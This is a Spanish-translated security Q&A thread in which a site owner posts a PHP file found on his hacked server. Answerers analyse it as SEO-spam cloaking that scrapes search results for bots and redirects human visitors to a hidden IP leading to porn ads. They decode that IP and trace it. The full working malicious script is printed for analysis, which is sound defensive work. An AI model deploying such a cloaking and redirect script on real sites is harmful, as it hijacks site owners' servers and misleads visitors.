malware PHP en el servidor, pero incapaz de identificar el código malicioso

19

Soy nuevo en esta comunidad, así que perdóneme si mi pregunta es estúpida.

Descubrí que mi servidor fue hackeado y encontré varios archivos PHP en él.

No he sido perezoso y he intentado todo lo posible para detectar lo que realmente estaba haciendo el archivo, pero realmente no entiendo cuál es el propósito.

Un archivo PHP es:

<?php



$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',

                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',

                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',

                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',

                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',

                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',

                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',

                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',

                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',

                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',

                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',

                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',

                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',

                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',

                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',

                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',

                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',

                               '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;



if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){

    $isbot = 1;

    }



if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) 

{

    $isbot = 1;

}



$adr1 = ".....................................";

$adr2 = ".";

$adr3 = "...................................................................................................................................................................................................................";

$adr4 = "..............................................................................................................................................................................................................";

$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);



if ($isbot)

{



    $myname  = basename($_SERVER['SCRIPT_NAME'], ".php");   

    if (file_exists($myname))

    {

    $html = file($myname);

    $html = implode($html, "");

    echo $html;

    exit;

    }



    //if (!strpos($_SERVER['HTTP_USER_AGENT'], "google")) exit;



    while($tpl == 0)

    {

$tpl_n = rand(1,9);

$tpl = @file("tpl$tpl_n.html");

    }



$keyword = "1 euro terno su tutte vincita
";

$keyword = chop($keyword);

$relink = "<UL></UL>";







 $query_pars = $keyword;

 $query_pars_2 = str_replace(" ", "+", chop($query_pars));



for ($page=1;$page<3;$page++)

{

 $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=$query_pars_2&qsrc=11&adt=1&o=0&l=dir&page=$page"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



        preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



}       





         $mas1 = array("1", "2", "3", "4", "5");

    $mas2 = array("11-20", "21-30", "31-40", "41-50", "51-60");

    $setmktBing = "US";

    $lang = "US";





$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    //  echo $result;

    //  exit;



    sleep(1);



foreach ($mas1 as $var=>$key)

{       

        $link = "";

        preg_match_all ("#<strong>$key</strong><a href=\"(.*)\" title=\"Results $mas2[$var]\"#iU",$result,$mm);

        $link = str_replace('<strong>'.$key.'</strong><a href="', "", $mm[0][0]);

        $link = str_replace('" title="Results '.$mas2[$var].'"', "", $link);

        if (strlen($link)<5) continue;

$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "$link"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    sleep(1);

        }



        $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "https://www.google.com/search?q=$query_pars_2&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



//echo $result;



        preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



                $text = str_replace("...", "", $text);

        $text = strip_tags($text); 

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);



        $text = explode(".", $text);



        shuffle($text);

            $text = array_unique($text);

        $text = implode(". ", $text);



        $html = implode ("\n", $tpl);

        $html = str_replace("[BKEYWORD]", $keyword, $html);

        $html = str_replace("[LINKS]", $relink, $html);

        $html = str_replace("[SNIPPETS]", $text, $html);



        $out = fopen($myname, "w");

        fwrite($out, $html);

        fclose($out);



        echo $html;



}   



if(!@$isbot)

{





$s = dirname($_SERVER['PHP_SELF']);

if ($s == '\' | $s == '/') {$s = ('');}  

$s = $_SERVER['SERVER_NAME'] . $s;



header("Location: http://$ard/input/?mark=20160624-$s");

//header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

exit;

}



?>

En mi opinión, el código hace lo siguiente:

1) Compruebe si es ejecutado por un bot, si es así, finalice

2) descifrar la IP oculta

3) crear un término de búsqueda de una manera muy inútil?

4) Haz tres solicitudes de búsqueda de curl a yahoo, google y ask.com

5) obtenga los datos de esas solicitudes de búsqueda, solo tome cierta información

6) escribe esa información en un archivo?

En mi mejor entendimiento, eso es lo que está haciendo el programa, pero no entiendo lo que es el daño. ¿Por qué alguien pasaría por la molestia de encontrar un sitio web para escabullirse? ¿O me falta algo crítico en este script?

¡Gracias por toda tu ayuda!

    
pregunta Tom 16.09.2016 - 17:50
fuente

3 respuestas

30

(No he revisado el código, estoy especulando porque su descripción se ajusta al modo de algún malware que he visto en el pasado).

Probablemente sea un bot que está intentando construir una red de backlinks a un grupo conocido de activos web.

Básicamente, encuentran un sitio vulnerable y lo abren. A partir de ahí, el script realiza una búsqueda para encontrar cuál de los activos del atacante se encuentra actualmente en la posición más alta (o más baja) y no ha sido penalizado por Google / et al. todavía.

Promueven sus activos aún más implantando palabras clave principales y enlaces a esos sitios en un documento HTML que se entrega desde su dominio. Ahora, cuando Google indexa su sitio, ven que usted está promocionando sus sitios y se ubican en un lugar aún más alto en los resultados de búsqueda.

Es bastante inteligente.

Sin embargo, es tóxico para ti porque cuando Google penaliza a las granjas de spam, también penaliza a los sitios que enlazan con ellas. Su SEO probablemente tendrá un impacto si llega el día del juicio. Remediate lo antes posible.

    
respondido por el Ivan 16.09.2016 - 18:12
fuente
14

Bueno, te daré más detalles:

Tenga en cuenta que esto no es un malware que intenta profundizar en su sistema, es un script que hace que alguien (italiano supongo) gane dinero utilizando su servidor de dos maneras (a su costo):

  • Si es un bot (un robot de búsqueda) quien realiza la solicitud, realizará algunas solicitudes promocionando la palabra clave: "1 euro terno su tutte vincita" e imprimirá una serie de Palabras tomadas de los resultados. Por lo tanto, están promocionando algunos sitios de lotería desde la IP de su servidor.

Estos son los urls base:

# https://www.google.com/search?q=1 euro terno su tutte vincita&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X
# http://search.yahoo.com/search?p=1 euro terno su tutte vincita
# http://www.ask.com/web?q=1 euro terno su tutte vincita&qsrc=11&adt=1&o=0&l=dir&page=$page
  • Si no es un bot, si es un buen agente de usuario, el script redireccionará el navegador del usuario a otro servidor comprometido, pero esta vez a una red de anuncios pornográficos .

Ofrece una IP oculta en el script (en los puntos):

  • IP: 37.1.211.206
  • PAÍS: EE. UU. (EE. UU.)


$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
// get it from the lenght of the strings, not the best way to hidde something ^^
$ard = strlen($adr1) . "." . strlen($adr2) . "." . strlen($adr3) . "." . strlen($adr4);
// echo $ard;

Y la otra parte es simplemente unir las cadenas y hacer esta solicitud: http://37.1.211.206/input/?mark=20160624-(SERVER_NAME)

if (!@$isbot) {
    $s = dirname($_SERVER['PHP_SELF']);
    if ($s == '\' | $s == '/') {
        $s = ('');
    }
    $s = $_SERVER['SERVER_NAME'] . $s;
    header("Location: http://$ard/input/?mark=20160624-$s");
    exit;
}

Al final, el servidor en 37.1.211.206 guardará la ID de sus servidores y lo redireccionará a un servidor de anuncios porno aleatorio.

    
respondido por el jmingov 16.09.2016 - 19:12
fuente
6

Use la dirección IP para hacer justicia a este script script.

Un traceroute a su IP desde aquí (se eliminaron los saltos locales):

  3    17 ms    17 ms    17 ms  be4066.ccr22.yyz02.atlas.cogentco.com [38.122.69.117]
  4    23 ms    24 ms    23 ms  be2994.ccr22.cle04.atlas.cogentco.com [154.54.31.233]
  5    31 ms    30 ms    31 ms  be2718.ccr42.ord01.atlas.cogentco.com [154.54.7.129]
  6    32 ms    31 ms    31 ms  be2248.ccr22.ord03.atlas.cogentco.com [154.54.5.158]
  7    32 ms    32 ms    32 ms  be2617.rcr12.b002281-5.ord03.atlas.cogentco.com [154.54.40.94]
  8    31 ms    37 ms    31 ms  38.122.181.114
  9    31 ms    33 ms    31 ms  37.1.209.2
 10    32 ms    32 ms    31 ms  37.1.211.206

La búsqueda inversa de DNS en los últimos 3 hosts no revela nada más directamente, excepto si verifica las subredes completas:

38.122.181.113  te0-0-0-2.rcr12.b002281-5.ord03.atlas.cogentco.com

La subred parece ser puntos finales del cliente para el ISP de Cogent Communications. Si escaneamos rápidamente el servidor del atacante, vemos solo 22 / ssh y 80 / http abiertos. Eso sugiere fuertemente una caja de Linux, o un enrutador. La página web en el servidor parece ser la página de instalación nueva para apache. Ir al script en el código primero redirige al dominio hstraffa.com, y luego a un sitio de pornografía de terceros. Un rápido rastrillo de la presencia social de hstraffa.com revela solo 2 Me gusta de Google +. Aquí hay una (ADVERTENCIA: contenido gráfico mínimo pero presente) enlace y otra: enlace . Parecen ser nombres indios, y un ser humano parece estar detrás de todo. Un chico de script no muy hábil que intenta monetizar anuncios pornográficos.

Simplemente tomaría todo esto, con sus propios resultados de investigación (scripts php y registros del servidor relacionados con el incidente, y me pondré en contacto con el responsable de seguridad de Cogent Communications. Deje que se encarguen de ello.

Sin embargo, necesita limpiar su propio lado, y le recomendaría una nueva instalación del servidor si no puede descubrir cómo ingresaron. La próxima intrusión podría no ser tan benigna ...

    
respondido por el Drunken Code Monkey 17.09.2016 - 01:26
fuente

Lea otras preguntas en las etiquetas